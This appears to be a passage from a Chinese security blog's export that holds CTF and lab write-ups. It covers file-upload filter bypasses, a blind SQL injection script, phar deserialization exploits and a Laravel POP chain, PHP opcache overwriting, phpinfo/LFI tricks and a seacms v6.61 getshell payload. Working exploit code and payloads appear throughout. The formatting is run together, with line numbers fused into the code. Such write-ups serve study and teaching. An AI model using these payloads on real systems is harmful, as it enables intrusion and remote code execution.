12end($filename)='php'count($filename)-1=1 ,$filename[1]=NULL 即可绕过检测,构造表单上传没有打印 emmmm 成功绕过然后是要将上传的文件重新命名 12$new_name = (string)rand(100,999).\".\".$ext; move_uploaded_file($_FILES['file']['tmp_name'],$new_name); $ext即为上传的file[2]内容接下来他会进行判断然后进行包含。 123if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){ include($_); } 这里都很好处理,最后有个unlink函数会删除上传的文件我们用 123.php/.进行绕过。最终上传文件此时已经在沙盒内生成一个XXX.123的文件。接下来爆破文件对XXX进行爆破爆破到文件名为100.123执行命令拿flag web4注入得到密码在id先进行注入 11' and 1=1%23 成功闭合发现过滤了 information_schema.卡在这里很久,最后才找到方法绕过 1information_schema . tables 本地测试发现空格可以绕过这样的检测其中还过滤了from,limit等关键词,最终构造语句 11' and (ascii(substr((SELECT GROUP_CONCAT(table_name) FROM information_schema . tables WHERE table_schema=database()),1,1))=1)%23 盲注脚本 12345678910111213141516# encoding=utf-8import requestsimport stringurl='http://495461f9167c4156a993dfa226d99f944a9e804913c04884.game.ichunqiu.com/select_guest.php?id='flag=''for i in range(1,100): for j in range(33,127): #payload=\"1' and (ascii(substr((SELECT GROUP_CONCAT(table_name) FROM information_schema . tables WHERE table_schema=database()),%d,1))=%d)%%23&Submit=Select+Guest\"%(i,j) #payload=\"1' and (ascii(substr((SELECT GROUP_CONCAT(column_name) FROM information_schema . columns WHERE table_schema=database() and table_name='user'),%d,1))=%d)%%23&Submit=Select+Guest\"%(i,j) payload=\"1' and (ascii(substr((SELECT GROUP_CONCAT(password) FROM user),%d,1))=%d)%%23&Submit=Select+Guest\"%(i,j) url1=url+payload r=requests.get(url=url1) if '10.10.1.1' in r.content: flag=flag+chr(j) print flag break 得到管理员密码的MD5值,然后去网站解密得到管理员密码adminpassword 上传截断登陆进去后发现一个上传页面,随手尝试一下。尝试大写小bypass得到提示please upload to ./flag.php那么就要构造路径为./flag.php发现下面有个hidden的参数uploaddir我们可以通过拼接uploaddir和filename的方式构造php成功构造flag.php,但是自动加上的后缀txt有点无解这时候就想到00截断失败了。。这时候就卡了很久,执念于心提示02可以截断自闭了。这样也可以。最后去google也没查到02截断是什么操作。。 misc92拿到一个txt文件观察发现文件第一行末是一个倒置PNG头文件最后一行是一个word文件头。 随即经过两种方式的倒序得到一个加密的word文件和一个PNG图片 扫描二维码得到>:2?kEaX 根据题目名字92尝试base92解密得到 Passwd 作为密码打开word文档移开二维码发现了隐藏信息 通过扫描二维码得到一部分flag又在”文档隐藏”上方发现一部分flag。 最后通过提示imag steganography找到steganography工具。 从”YOU ARE ALIVE”图片中找到一段flag。拼接成完整的flag。 nofind打开流量包一波观察后在tcp流中发现上传了一个压缩包 通过导出http对象拿到文件 example1(1).php Binwalk -e 分离出一个图片 尝试各种隐写解密都没用。主办方提示openpuff。 找到软件后发现需要三个密码根据图片中的ct??????猜想密码可能为这8位字符串。需要我们找到??????的值。 再回到导出http对象中发现了三个奇怪的crc32值 利用crc32爆破脚本尝试进行6字节的crc32爆破。 如上分别对三个CRC32值爆破。 又有提示爆破结果包含f。 最终得到3个值 ct93fjhl ctmbof3k ctv4gfx1 作为三个密钥输入openpuff中解得flag。","categories":[],"tags":[{"name":"web","slug":"web","permalink":"http://altman.vip/tags/web/"},{"name":"wp","slug":"wp","permalink":"http://altman.vip/tags/wp/"}]},{"title":"phar反序列化rce","slug":"phar反序列化rce","date":"2018-10-26T02:54:15.000Z","updated":"2018-11-26T10:03:21.588Z","comments":true,"path":"2018/10/26/phar反序列化rce/","link":"","permalink":"http://altman.vip/2018/10/26/phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/","excerpt":"前言在Blackhat2018,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。","text":"前言在Blackhat2018,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。 原理在使用phar://协议读取文件时,文件会被解析成phar( http://php.net/manual/zh/intro.phar.php )解析过程中会触发php_var_unserialize()函数,造成反序列化。 测试漏洞利用条件1.服务器上存在可控文件2.服务器端引用了可以利用的魔术方法3.文件操作函数的参数可控 测试代码在本地搭建一个简单的环境来测试(php7.1+apache2)本地测试代码 1234567891011<?phpclass altman{ private $a='echo 'test''; function __destruct() { eval($this->a); }}file_exists($_GET['file']);?> 生成phar文件首先要将本地php.ini中的phar.readonly选项设置为Off然后构造一个生成phar文件的php脚本 123456789101112131415161718<?phpclass altman{ private $a='echo \"test\";'; function __destruct() { eval($this->a); }}$f = new altman();$f->a='phpinfo()';$phar = new Phar(\"phar.phar\");$phar->startBuffering();$phar->setStub(\"<?php __HALT_COMPILER(); ?>\"); //设置stub$phar->setMetadata($f); //将自定义meta-data存入manifest$phar->addFromString(\"test.txt\", \"test\"); //添加要压缩的文件$phar->stopBuffering();?> 生成如下phar文件,可以看到文件中metadata部分含有我们构造的恶意序列化代码 触发漏洞通过测试代码中的file_exists()来访问phar文件,利用phar://协议解析文件。成功执行phpinfo 护网杯 easy_lavarel题目doocker环境https://github.com/sco4x0/huwangbei2018_easy_laravel 浏览源码查看首页注释中拿到整个网站的源码,浏览发现使用lavarel框架写的。先查看路由直接去看一下flag获取方式没什么用,继续全局搜索flag定位到关键点,到这里就题目意图就很明显了,要登录邮箱为[email protected]的账号来查看flag。 sql注入尽管可以注册任意用户,但是无法覆盖邮箱,寻找其他突破口在NoteController.php中找到一处注入点显然二次注入,常规的union注入拿到管理员密码有点自闭,密码加密过的,无法破解,只能另寻他路来登录管理员账号 重置密码发现了重置密码功能,仔细读代码,发现只要得到账号的token,就能拿到重置密码的linktoken在password_resets表中进行注入然后直接访问link /password/reset/{token}重置管理员密码成功登陆发现noflag ??? BladeBlade 是 laravel 提供的一个简单强大的模板引擎,它就是把 Blade 视图编译成原生的 PHP 代码并缓存起来。缓存会在 Blade 视图改变时而改变。由于旧的缓存存在,所以我们访问flag时会加载缓存,从而无法访问到新的flag。所以这里需要想办法删除掉blade文件缓存。先找到缓存文件的路径 1234public function getCompiledPath($path){ return $this->cachePath.'/'.sha1($path).'.php';} 又有提示nginx默认配置,那么可以找到flag文件的path是 1/usr/share/nginx/html/resources/views/auth/flag.blade.php 那么最终得到 1/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php POP CHAIN已经确认了缓存文件的目录。下面就要寻找一个可控的删除函数。通过composer.json,安装网站的组件。在组件中寻找删除函数,全局搜索定位unlink()最终在swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php中找到了一个可以利用的_destruck() phar反序列化发现一个check很可疑,查看源码很明显的一个file_exists函数,这不就是可以出发phar反序列化的函数吗? 到这里整个题目思路就很明确了:①构造phar文件并上传②通过check触发file_exists()引发反序列化③执行unlink删除旧的缓存文件④再次访问flag 构造phar文件12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091<?phpclass Swift_ByteStream_AbstractFilterableInputStream { /** * Write sequence. */ protected $sequence = 0; /** * StreamFilters. * * @var Swift_StreamFilter[] */ private $filters = []; /** * A buffer for writing. */ private $writeBuffer = ''; /** * Bound streams. * * @var Swift_InputByteStream[] */ private $mirrors = [];}class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream { /** The internal pointer offset */ private $_offset = 0; /** The path to the file */ private $_path; /** The mode this file is opened in for writing */ private $_mode; /** A lazy-loaded resource handle for reading the file */ private $_reader; /** A lazy-loaded resource handle for writing the file */ private $_writer; /** If magic_quotes_runtime is on, this will be true */ private $_quotes = false; /** If stream is seekable true/false, or null if not known */ private $_seekable = null; /** * Create a new FileByteStream for $path. * * @param string $path * @param bool $writable if true */ public function __construct($path, $writable = false) { $this->_path = $path; $this->_mode = $writable ? 'w+b' : 'rb'; if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) { $this->_quotes = true; } } /** * Get the complete path to the file. * * @return string */ public function getPath() { return $this->_path; }}class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream { public function __construct() { $filePath = \"/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php\"; parent::__construct($filePath, true); } public function __destruct() { if (file_exists($this->getPath())) { @unlink($this->getPath()); } }}$obj = new Swift_ByteStream_TemporaryFileByteStream();$p = new Phar('./1.phar', 0);$p->startBuffering();$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');$p->setMetadata($obj);$p->addFromString('1.txt','text');$p->stopBuffering();rename('./1.phar', '1.gif');?> check上传文件后,在check处抓包,控制path值,利用phar://去解析我们上传的文件,造成反序列化。然后再去请求flag","categories":[],"tags":[{"name":"web","slug":"web","permalink":"http://altman.vip/tags/web/"}]},{"title":"0ctf-Ezdoor","slug":"0ctf-Ezdoor","date":"2018-10-10T11:51:13.000Z","updated":"2018-11-02T05:39:45.562Z","comments":true,"path":"2018/10/10/0ctf-Ezdoor/","link":"","permalink":"http://altman.vip/2018/10/10/0ctf-Ezdoor/","excerpt":"前言复现以前几个月前的0ctf-Ezdoor,一个关于php7_opcache_override的题目。","text":"前言复现以前几个月前的0ctf-Ezdoor,一个关于php7_opcache_override的题目。 环境https://github.com/LyleMi/My-CTF-Challengesdockerfile有一点问题,需要加一句 1RUN mkdir /var/www/html/sandbox/ 而且因为php更新,docker的php镜像不再是7.0.28,而是7.0.32。解题过程中要注意版本为7.0.32,其他不变。 题目分析简单粗暴的源码 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475<?phperror_reporting(0);$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';if(!file_exists($dir)){ mkdir($dir);}if(!file_exists($dir . \"index.php\")){ touch($dir . \"index.php\");}function clear($dir){ if(!is_dir($dir)){ unlink($dir); return; } foreach (scandir($dir) as $file) { if (in_array($file, [\".\", \"..\"])) { continue; } unlink($dir . $file); } rmdir($dir);}switch ($_GET[\"action\"] ?? \"\") { case 'pwd': echo $dir; break; case 'phpinfo': echo file_get_contents(\"phpinfo.txt\"); break; case 'reset': clear($dir); break; case 'time': echo time(); break; case 'upload': if (!isset($_GET[\"name\"]) || !isset($_FILES['file'])) { break; } if ($_FILES['file']['size'] > 100000) { clear($dir); break; } $name = $dir . $_GET[\"name\"]; if (preg_match(\"/[^a-zA-Z0-9.\\/]/\", $name) || stristr(pathinfo($name)[\"extension\"], \"h\")) { break; } move_uploaded_file($_FILES['file']['tmp_name'], $name); $size = 0; foreach (scandir($dir) as $file) { if (in_array($file, [\".\", \"..\"])) { continue; } $size += filesize($dir . $file); } if ($size > 100000) { clear($dir); } break; case 'shell': ini_set(\"open_basedir\", \"/var/www/html/$dir:/var/www/html/flag\"); include $dir . \"index.php\"; break; default: highlight_file(__FILE__); break;} 六个点①根据你IP的hash值为你单独创造一个沙盒②打印phpinfo.txt③重置为你创造的沙盒④打印时间戳⑤上传文件到刚才的沙盒,后缀名不允许出现’h’⑥包含你的沙盒内的index.php 题目要求直截了当,绕过过滤覆盖掉沙盒内的index.php,通过shell功能来执行命令。 解法一(预期解)php7环境内开启了opcache,可以通过覆盖缓存文件来getshell。 获取路径首先要知道缓存路径,缓存文件会生成在opcache.file_cache+system_id.通过phpinfo可以得到以下内容 1234opcache.file_cache => /tmp/cache => /tmp/cachephp_version = \"7.0.32\"zend_extension_id = \"API320151012,NTS\"zend_bin_id = \"BIN_SIZEOF_CHAR48888\" 通过脚本计算system_id 1234567def systemid(): from md5 import md5 php_version = \"7.0.32\" zend_extension_id = \"API320151012,NTS\" zend_bin_id = \"BIN_SIZEOF_CHAR48888\" return md5(php_version + zend_extension_id + zend_bin_id).hexdigest()print systemid() 此时已经知道了缓存路径 1/tmp/cache/8080d5c8053a7a50e39ace1fda848e85 伪造缓存文件然后就要伪造index.php.bin文件了。在本地搭建一个完全一样的php环境,然后放一个恶意文件shell.php在服务器中,访问这个文件。然后去opcache路径下寻找到shell.php.bin.恶意文件就伪造好了。 更改timestamps此时再次注意到,题目中开启了opcache.validate_timestamps => On => Ontimestamps是文件生成时间,在php缓存机制中,如果缓存文件与原文件timestamps不一致,php会重新生成新的缓存文件来覆盖timestamps错误的缓存。所以我们需要得知index.php.bin的时间戳。题目中我们可以通过脚本连续访问reset功能和time功能来获取文件的timestamps。 123print int(requests.get(url=url+\"?action=time\").content)r=requests.get(url=base_url+\"?action=reset\")print int(requests.get(url=url+\"?action=time\").content) 得到了时间戳,然后更改bin文件的时间戳这样就构造好了完整的index.php.bin。构造POST包上传文件覆盖成功后访问?action=shell,成功执行上传php代码。 执行命令题目BAN掉了大部分命令,但是可以使用 file_get_contents和scandir最后使用 123<?phpvar_dump(scandir('/var/www/html/flag'));?> 123<?file_get_contents('/var/www/html/flag/93f4c28c0cf0b07dfd7012dca2cb868cc0228cad');//这是个bin文件,最好转成base64再打印出来。 发现是个opcache头的bin文件,剩下的就是逆向大佬的事情了 解法二(非预期)使用aa/../index.php/.即可绕过检测。 原理直接查看php的底层实现文件路径处理的代码tsrm_realpath() 1234567891011121314151617181920212223i = len; // i的初始值为字符串的长度 while (i > start && !IS_SLASH(path[i-1])) { i--; // 把i定位到第一个/的后面 } if (i == len || (i == len - 1 && path[i] == '.')) { len = i - 1; // 删除路径中最后的 /. , 也就是 /path/test.php/. 会变为 /path/test.php is_dir = 1; continue; } else if (i == len - 2 && path[i] == '.' && path[i+1] == '.') { //删除路径结尾的 /.. is_dir = 1; if (link_is_dir) { *link_is_dir = 1; } if (i - 1 <= start) { return start ? start : len; } j = tsrm_realpath_r(path, start, i-1, ll, t, use_realpath, 1, NULL TSRMLS_CC); // 进行递归调用的时候,这里把strlen设置为了i-1, php会递归删除文件名后的/.和/..我们上传index.php/.会被处理为index.php这样就绕过了检测,但是这样的上传不会覆盖已有文件内容。具体原因如下 12345678910111213141516171819201077 if (save && php_sys_lstat(path, &st) < 0) {1078 if (use_realpath == CWD_REALPATH) {1079 /* file not found */1080 return -1;1081 }1082 /* continue resolution anyway but don't save result in the cache */1083 save = 0;1084 } 1120 if (save) {1121 directory = S_ISDIR(st.st_mode);1122 if (link_is_dir) {1123 *link_is_dir = directory;1124 }1125 if (is_dir && !directory) {1125 /* not a directory */1127 free_alloca(tmp, use_heap);1128 return -1;1129 }1130 } 是一个宏定义,其实是系统函数lstat,主要功能是获取文件的描述信息存入st结构体中,由于上面分析会删除掉路径中的/.,所以调用时传入的test.php 。 当第一次执行时不存在test.php文件,函数php_sys_lstat返回 -1,所以第1083行会被执行,重置save为0,所以1120-1130行都没有被执行。 当第二次执行,覆盖老文件的时候,test.php已经是一个存在的文件了,所以php_sys_lstat返回0,st中存储的是一个文件的信息,save还是1,导致1120-1130行被执行。由于之前php认为test.php/. 是一个目录(is_dir是1),现在有获取到test.php 是一个文件,所以is_dir && !directory为true,函数返回了-1,得到的路径长度出错,所以无法覆盖老文件了。 move_uploaded_file()查看move_uploaded_file()的底层代码 1234567phpif (VCWD_RENAME(path, new_path) == 0) { successful = 1; } else if (php_copy_file_ex(path, new_path, STREAM_DISABLE_OPEN_BASEDIR) == SUCCESS) { VCWD_UNLINK(path); successful = 1; } 由于index.php已经存在,会返回0,那么我们拼接上一个不存在路径 aa/../index.php/.php_sys_lstat返回-1,就可以成功覆盖文件。 最终payload aa/../index.php","categories":[],"tags":[{"name":"web","slug":"web","permalink":"http://altman.vip/tags/web/"}]},{"title":"dangerous-phpinfo","slug":"dangerous-phpinfo","date":"2018-10-08T03:34:42.000Z","updated":"2018-11-02T05:40:45.436Z","comments":true,"path":"2018/10/08/dangerous-phpinfo/","link":"","permalink":"http://altman.vip/2018/10/08/dangerous-phpinfo/","excerpt":"关于phpinfo()的不适当配置造成的危险漏洞 前言本文章测试环境基于osx+apache2+php5.6","text":"关于phpinfo()的不适当配置造成的危险漏洞 前言本文章测试环境基于osx+apache2+php5.6 0x00 session.upload_progress原理分析先来看php手册中给的定义 【http://php.net/manual/zh/session.upload-progress.php】 当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。 意味着我们可以通过向服务器POST一个表单,来控制$_session的内容。构建一个简单的环境来测试。 12345<?php$code=$_GET['code'];print_r($code);eval($code);?> 通过phpinfo获得路径信息,session.upload_progress.name。然后构造上传文件的表单。直接引用官方的表单 123456<form action=\"upload.php\" method=\"POST\" enctype=\"multipart/form-data\"> <input type=\"hidden\" name=\"<?php echo ini_get(\"session.upload_progress.name\"); ?>\" value=\"123\" /> <input type=\"file\" name=\"file1\" /> <input type=\"file\" name=\"file2\" /> <input type=\"submit\" /></form> 稍做修改 123456<form action=\"upload.php\" method=\"POST\" enctype=\"multipart/form-data\"> <input type=\"hidden\" name=\"PHP_SESSION_UPLOAD_PROGRESS\" value=\"<?php echo 666;?>\" /> <input type=\"file\" name=\"file1\" /> <input type=\"file\" name=\"file2\" /> <input type=\"submit\" /></form> 抓包后稍作修改,即可把value中的代码写入/tmp/sess_*中,再配合上LFI即可getshell。 CTF实战http://web.jarvisoj.com:32784/通过 1ini_set('session.serialize_handler', 'php'); 知道使用的序列化处理器为php,通过查看phpinfo可知默认为php_serialize。再看到session.upload_progress.enabled=>on.很明显我们要通过Session Upload Progress来设置session,触发反序列化。构造反序列化字符串 12|O:5:\\\"OowoO\\\":1:{s:4:\\\"mdzz\\\";s:38:\\\"print_r(scandir('/opt/lampp/htdocs'));\\\";}//反斜杠防止引号被转义 构造POST文件的数据包成功执行命令剩下的就是常规操作了 0x01 phpinfo()+LFI同样是上传文件,POST一个文件上去后可以再phpinfo中看到文件的信息![]在tmp目录下生成一个名为phpXXXXXX的文件,内容为POST的文件内容。但是它只会存在一瞬间,所以需要条件竞争来触发它。我们使用同一个数据包来发送文件并且查看文件。![]如果同时存在LFI,我们包含这个这个phpXXXXXXX文件就可以getshell了。 0X02 OPCACHE覆盖原理当phpinfo()中opcache.enable => On => On时,访问网站index.php时,网站会生成index.php.bin。再次访问时,会加载index.php.bin。而存在上传时,如果可以找到index.php.bin文件所在的目录,我们就可以覆盖index.php.bin,下一次访问index.php时,会加载我们上传的恶意index.php.bin。 CTF实战见博客https://altmanz.cn/2018/10/10/0ctf-Ezdoor/","categories":[],"tags":[{"name":"web","slug":"web","permalink":"http://altman.vip/tags/web/"}]},{"title":"seacms v6.61-GetShell","slug":"seacmsv6.61-getshell","date":"2018-09-27T01:11:07.000Z","updated":"2018-11-02T05:46:03.838Z","comments":true,"path":"2018/09/27/seacmsv6.61-getshell/","link":"","permalink":"http://altman.vip/2018/09/27/seacmsv6.61-getshell/","excerpt":"关于seacms v6.61后台getshell的深入分析","text":"关于seacms v6.61后台getshell的深入分析 环境采用ubuntu16.04+apache2+php5.6+mysql5.7搭建时踩了很多坑,过程十分艰难。。 漏洞复现在后台->添加影片->图片地址出注入代码 1{if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);//}{end if} 之后访问 1/detail/index.php?1.html&m=admin&a=assert&b=phpinfo() 即可getshell 审计代码先从他的注入点追踪,在图片地址处输入test然后抓包测试,直接定位到关键文件admin/admin_video.php,GET参数action=save&acttype=add,和变量v_pic.在admin_video.php中寻找v_pic变量跟进cn_substrR函数是一个对变量进行安全处理的函数, 继续跟进acttype=add,v_pic已经存入数据库。此时污点数据追踪到头了。转头去分析漏洞利用页面/details/index.php?1.html首先对url截取,然后强转int,得到了cfg_paramid然后在 echoContent 函数中取出来了v_pic参数,并进行处理,将v_pic拼接到了content中,继续追踪$content,定位到语句 1$content=$mainClassObj->parseIf($content); 跟进parseIf函数 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354function parseIf($content){ if (strpos($content,'{if:')=== false){ return $content; }else{ $labelRule = buildregx(\"{if:(.*?)}(.*?){end if}\",\"is\"); $labelRule2=\"{elseif\"; $labelRule3=\"{else}\"; preg_match_all($labelRule,$content,$iar); foreach($iar as $v){ $iarok[] = str_ireplace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','_SERVER','assert','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v); } $iar = $iarok; $arlen=count($iar[0]); $elseIfFlag=false; for($m=0;$m<$arlen;$m++){ $strIf=$iar[1][$m]; $strIf=$this->parseStrIf($strIf); $strThen=$iar[2][$m]; $strThen=$this->parseSubIf($strThen); if (strpos($strThen,$labelRule2)===false){ if (strpos($strThen,$labelRule3)>=0){ $elsearray=explode($labelRule3,$strThen); $strThen1=$elsearray[0]; $strElse1=$elsearray[1]; @eval(\"if(\".$strIf.\"){\\$ifFlag=true;}else{\\$ifFlag=false;}\"); if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);} }else{ @eval(\"if(\".$strIf.\") { \\$ifFlag=true;} else{ \\$ifFlag=false;}\"); if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],\"\",$content);} }else{ $elseIfArray=explode($labelRule2,$strThen); $elseIfArrayLen=count($elseIfArray); $elseIfSubArray=explode($labelRule3,$elseIfArray[$elseIfArrayLen-1]); $resultStr=$elseIfSubArray[1]; $elseIfArraystr0=addslashes($elseIfArray[0]); @eval(\"if($strIf){\\$resultStr=\\\"$elseIfArraystr0\\\";}\"); for($elseIfLen=1;$elseIfLen<$elseIfArrayLen;$elseIfLen++){ $strElseIf=getSubStrByFromAndEnd($elseIfArray[$elseIfLen],\":\",\"}\",\"\"); $strElseIf=$this->parseStrIf($strElseIf); $strElseIfThen=addslashes(getSubStrByFromAndEnd($elseIfArray[$elseIfLen],\"}\",\"\",\"start\")); @eval(\"if(\".$strElseIf.\"){\\$resultStr=\\\"$strElseIfThen\\\";}\"); @eval(\"if(\".$strElseIf.\"){\\$elseIfFlag=true;}else{\\$elseIfFlag=false;}\"); if ($elseIfFlag) {break;} } $strElseIf0=getSubStrByFromAndEnd($elseIfSubArray[0],\":\",\"}\",\"\"); $strElseIfThen0=addslashes(getSubStrByFromAndEnd($elseIfSubArray[0],\"}\",\"\",\"start\")); if(strpos($strElseIf0,'==')===false&&strpos($strElseIf0,'=')>0)$strElseIf0=str_replace('=', '==', $strElseIf0); @eval(\"if(\".$strElseIf0.\"){\\$resultStr=\\\"$strElseIfThen0\\\";\\$elseIfFlag=true;}\"); $content=str_replace($iar[0][$m],$resultStr,$content); } } return $content; } } parseIf函数对$content进行了简单的正则和黑名单后进行了eval执行。再回到CVE利用的payload 1{if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);//}{end if} payload用简单的字符串拼接绕过了正则,利用$GLOBALS执行了代码。 1@eval(\"if(\".$strIf.\") { \\$ifFlag=true;} else{ \\$ifFlag=false;}\"); 相当于 @eval($_GETa); 总结一下流程:①$v_pic注入恶意数据存入数据库②echoContent()取出$v_pic,拼接进$content③parseIf()中eval()执行$content中的代码 第二条攻击链parseif()函数由于过滤不严格导致了getshell,而整个框架中利用了多次parseif()函数。通过定位parseIf以及寻找可控变量可以发现第二条攻击链。在模板变量中发现了{playpage:from},定位到这个变量在video/index.php中来自v_playdata继续跟进v_playdata,通过admin_collect.php中$v_playfrom,$v_playurl存入数据库。继续跟进$v_playfrom,$v_playurl,定位到admin/back/templets/admin_video_edit.htm通过播放来源传入参数v_playfrom。测试一遍攻击路线,通过后台系统设置,添加播放源,在播放源处添加攻击代码 1{if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);die();//}{end if} 添加成功,然后选择添加影片,播放源选择我们注入的代码。注意此时v_playfrom[1]只截取了部分payload,需要抓包修改v_playfrom[1]的内容,添加成功后访问 12http://127.0.0.1/video/index.php?1-0-0.html&a=assert&b=phpinfo();//1-0-0.html是刚添加的影片编号 成功getshell。 攻击链总结①通过v_playfrom传入恶意代码,存入v_playdata②添加影片通过选择恶意播放源载入v_playdata中的恶意代码③video/index.php播放影片时加载v_playdata,拼接进$content④触发parseIf($content)执行恶意代码","categories":[],"tags":[{"name":"web","slug":"web","permalink":"http://altman.vip/tags/web/"}]},{"title":"Upload-labs","slug":"upload-labs","date":"2018-09-24T09:18:01.000Z","updated":"2019-07-31T06:02:21.228Z","comments":true,"path":"2018/09/24/upload-labs/","link":"","permalink":"http://altman.vip/2018/09/24/upload-labs/","excerpt":"环境搭建 github源码 https://github.com/c0ny1/upload-labs 本地搭建 docker pull c0ny1/upload-labs","text":"环境搭建 github源码 https://github.com/c0ny1/upload-labs 本地搭建 docker pull c0ny1/upload-labs 做题记录基于源码分析的做题记录。每一关上传一个可执行phpinfo()的文件在upload目录下即视为成功。 pass-1查看源码发现是前端校验,定义了checkFile()函数对选择的文件拓展名校验。方法一 上传后缀为jpg的文件,然后用burp抓包修改后缀。方法二 直接在前端页面修改删除 checkFile() 函数。 pass-2查看源码 1if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) 是对content-type的校验,上传抓包修改即可即可成功上传 pass-3查看源码 123456789if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array('.asp','.aspx','.php','.jsp'); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 黑名单绕过,不许上传黑名单中的后缀名。并且生成的文件名随机。尝试上传php5文件,成功解析执行。 pass-4123456789if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(\".php\",\".php5\",\".php4\",\".php3\",\".php2\",\"php1\",\".html\",\".htm\",\".phtml\",\".pht\",\".pHp\",\".pHp5\",\".pHp4\",\".pHp3\",\".pHp2\",\"pHp1\",\".Html\",\".Htm\",\".pHtml\",\".jsp\",\".jspa\",\".jspx\",\".jsw\",\".jsv\",\".jspf\",\".jtml\",\".jSp\",\".jSpx\",\".jSpa\",\".jSw\",\".jSv\",\".jSpf\",\".jHtml\",\".asp\",\".aspx\",\".asa\",\".asax\",\".ascx\",\".ashx\",\".asmx\",\".cer\",\".aSp\",\".aSpx\",\".aSa\",\".aSax\",\".aScx\",\".aShx\",\".aSmx\",\".cEr\",\".sWf\",\".swf\"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 黑名单加强了,各种可能被解析的后缀都不能用了。通过上传.htaccess文件改变解析规则。 1AddType application/x-httpd-php .abc 之后上传后缀为.abc的文件,apache会将.abc后缀当做php来解析。 pass-512345678910$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(\".php\",\".php5\",\".php4\",\".php3\",\".php2\",\".html\",\".htm\",\".phtml\",\".pht\",\".pHp\",\".pHp5\",\".pHp4\",\".pHp3\",\".pHp2\",\".Html\",\".Htm\",\".pHtml\",\".jsp\",\".jspa\",\".jspx\",\".jsw\",\".jsv\",\".jspf\",\".jtml\",\".jSp\",\".jSpx\",\".jSpa\",\".jSw\",\".jSv\",\".jSpf\",\".jHtml\",\".asp\",\".aspx\",\".asa\",\".asax\",\".ascx\",\".ashx\",\".asmx\",\".cer\",\".aSp\",\".aSpx\",\".aSa\",\".aSax\",\".aScx\",\".aShx\",\".aSmx\",\".cEr\",\".sWf\",\".swf\",\".htaccess\"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 这一关过滤了.htaccess后缀。思考了半天,发现比第四关少了一行代码 1$file_ext = strtolower($file_ext); //转换为小写 那么用大小写绕过即可。上传文件名为1.pHP。 pass-6继续与第五关对比,少一句 1$file_ext = trim($file_ext); //首尾去空 后缀名后面加上一个空格进行绕过。ps:此题利用windows特性,存储文件时会去除最后的空格,在linux环境下没有成功。 pass-7对比 1$file_name = deldot($file_name);//删除文件名末尾的点 上传 1.php. pass-8 少了一个 1$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA 参考文章:https://www.owasp.org/index.php/Windows_::DATA_alternate_data_streamps 此关只能在windows环境下。 pass-9有pass7知道1.php.可以被服务器解释为php。上传 1.php.%20.经过 1$file_name = deldot($file_name);//删除文件名末尾的点 操作后会变成1.php.%20检测后缀名为.%20,成功绕过。![](./upload-labs/屏幕快照 2019-06-25 下午7.00.49.png?r=76) pass-10关键代码 1$file_name = str_ireplace($deny_ext,\"\", $file_name); 将黑名单替换为空,很好处理,双写绕过即可。1.pphphp经过处理后变成 1.php![](./upload-labs/屏幕快照 2019-06-25 下午7.03.44.png) pass-11关键代码 1$img_path = 